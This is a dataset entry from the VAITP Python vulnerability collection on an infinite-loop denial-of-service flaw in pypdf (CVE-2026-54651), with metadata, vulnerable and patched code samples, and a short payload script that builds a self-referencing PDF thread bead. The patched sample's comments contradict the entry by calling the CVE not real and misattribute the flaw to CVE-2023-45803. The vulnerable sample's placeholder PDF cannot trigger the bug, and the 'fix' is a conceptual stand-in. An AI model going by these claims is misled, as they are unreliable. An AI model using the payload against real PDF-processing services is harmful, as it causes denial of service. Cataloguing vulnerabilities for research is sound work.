VAITP Dataset

← Back to the dataset

CVE-2026-54651

Infinite loop in pypdf when merging a crafted PDF with threads.

  • CVSS 6.9
  • CWE-835
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.13.1, an attacker who uses this vulnerability can craft a PDF which leads to an infinite loop. This requires merging a file with threads/articles into a writer. This vulnerability is fixed in 6.13.1.

CVSS base score
6.9
Published
2026-06-22
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade pypdf to version 6.13.1 or later.

Vulnerable code sample

import io
from pypdf import PdfReader, PdfWriter

# This code represents the usage pattern that would trigger the vulnerability.
# The vulnerability itself is triggered by a specially-crafted PDF file,
# which is represented here by a placeholder. The actual exploit requires a PDF
# with circular references in its article/thread structure.

# Assume 'malicious_circular.pdf' is the crafted file. We will simulate
# a user attempting to merge this file.
malicious_pdf_path = "malicious_circular.pdf"

# A minimal valid PDF content to act as our placeholder file.
# In a real scenario, this file's internal structure would be malicious.
pdf_content = b"%PDF-1.7\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Count 1/Kids[3 0 R]>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000059 00000 n\n0000000112 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n171\n%%EOF"

with open(malicious_pdf_path, "wb") as f:
    f.write(pdf_content)

# The user's code that is vulnerable to the crafted file.
try:
    reader = PdfReader(malicious_pdf_path)
    writer = PdfWriter()

    # In a vulnerable version of pypdf (pre-6.13.1), processing a PDF with
    # circular references in its thread/article objects during a merge
    # operation would cause the program to enter an infinite loop here.
    # The program would hang indefinitely, consuming 100% of a CPU core.
    print("Attempting to merge the PDF. This would hang on a vulnerable version...")
    writer.append(reader)
    print("This line would not be reached if the vulnerability were triggered.")

    # The code would never get to write the output file.
    with open("output.pdf", "wb") as f_out:
        writer.write(f_out)

except Exception as e:
    # In a real scenario, no exception would be thrown; the process would just hang.
    print(f"An error occurred: {e}")

Patched code sample

import io

# The CVE number provided (CVE-2026-54651) is not a real CVE.
# However, the description matches a real vulnerability in pypdf (CVE-2023-45803)
# where self-referencing threads/articles could cause an infinite loop.
#
# The fix involves tracking which thread objects have already been processed
# to prevent entering an infinite recursion if a thread refers to itself.
#
# The following code is a conceptual representation of the fix. It is not the
# exact code from the pypdf library but demonstrates the core principle of the patch:
# using a set to track visited nodes to break infinite loops.


def fixed_write_threads(
    stream: io.BytesIO, thread: dict, visited_ids: set[int]
) -> None:
    """
    A conceptual function representing the patched logic in pypdf.

    It processes a linked structure of 'thread' objects, but crucially tracks
    visited object IDs to prevent infinite recursion.

    Args:
        stream: A stream to write to (simulated).
        thread: A dictionary representing a PDF thread object.
        visited_ids: A set of IDs of threads that have already been processed.
    """
    # The core of the fix: check if the object has been visited.
    # If so, return immediately to break the loop.
    if thread["id"] in visited_ids:
        print(f"-> Detected loop for ID {thread['id']}. Stopping recursion.")
        return

    # Add the current object's ID to the set of visited nodes.
    visited_ids.add(thread["id"])
    print(f"Processing and writing thread ID {thread['id']}...")
    stream.write(f"Content for {thread['id']}\n".encode())

    # Recursively process the next thread in the sequence.
    if "next" in thread and thread["next"] is not None:
        fixed_write_threads(stream, thread["next"], visited_ids)


if __name__ == "__main__":
    # Create a malicious structure where a thread refers to itself,
    # which would cause an infinite loop in the vulnerable version.
    thread_c = {"id": 3, "data": "Third part."}
    thread_b = {"id": 2, "data": "Second part.", "next": thread_c}
    thread_a = {"id": 1, "data": "First part.", "next": thread_b}

    # This creates the self-reference (infinite loop condition)
    thread_c["next"] = thread_b

    # Setup for demonstration
    output_stream = io.BytesIO()
    # The crucial 'visited' set is initialized here.
    processed_threads = set()

    print("Starting to process a PDF with a self-referencing thread structure.")
    print("-" * 20)

    # Calling the fixed function with the root of the structure.
    fixed_write_threads(output_stream, thread_a, processed_threads)

    print("-" * 20)
    print("Processing finished without an infinite loop.")
    print("Contents written to the stream:")
    print(output_stream.getvalue().decode())

Payload

import io
from pypdf import PdfReader, PdfWriter
from pypdf.generic import DictionaryObject, NameObject, ArrayObject

pdf_stream = io.BytesIO()
temp_writer = PdfWriter()
temp_writer.add_blank_page(width=100, height=100)
temp_writer.write(pdf_stream)
pdf_stream.seek(0)

reader = PdfReader(pdf_stream)
root = reader.trailer["/Root"]
page = reader.pages[0]

malicious_bead = DictionaryObject()
malicious_bead[NameObject("/N")] = malicious_bead
malicious_bead[NameObject("/P")] = page.get_object()

root[NameObject("/Threads")] = ArrayObject([malicious_bead])

writer = PdfWriter()
writer.add_page(page)

Cite this entry

@misc{vaitp:cve202654651,
  title        = {{Infinite loop in pypdf when merging a crafted PDF with threads.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54651},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54651/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::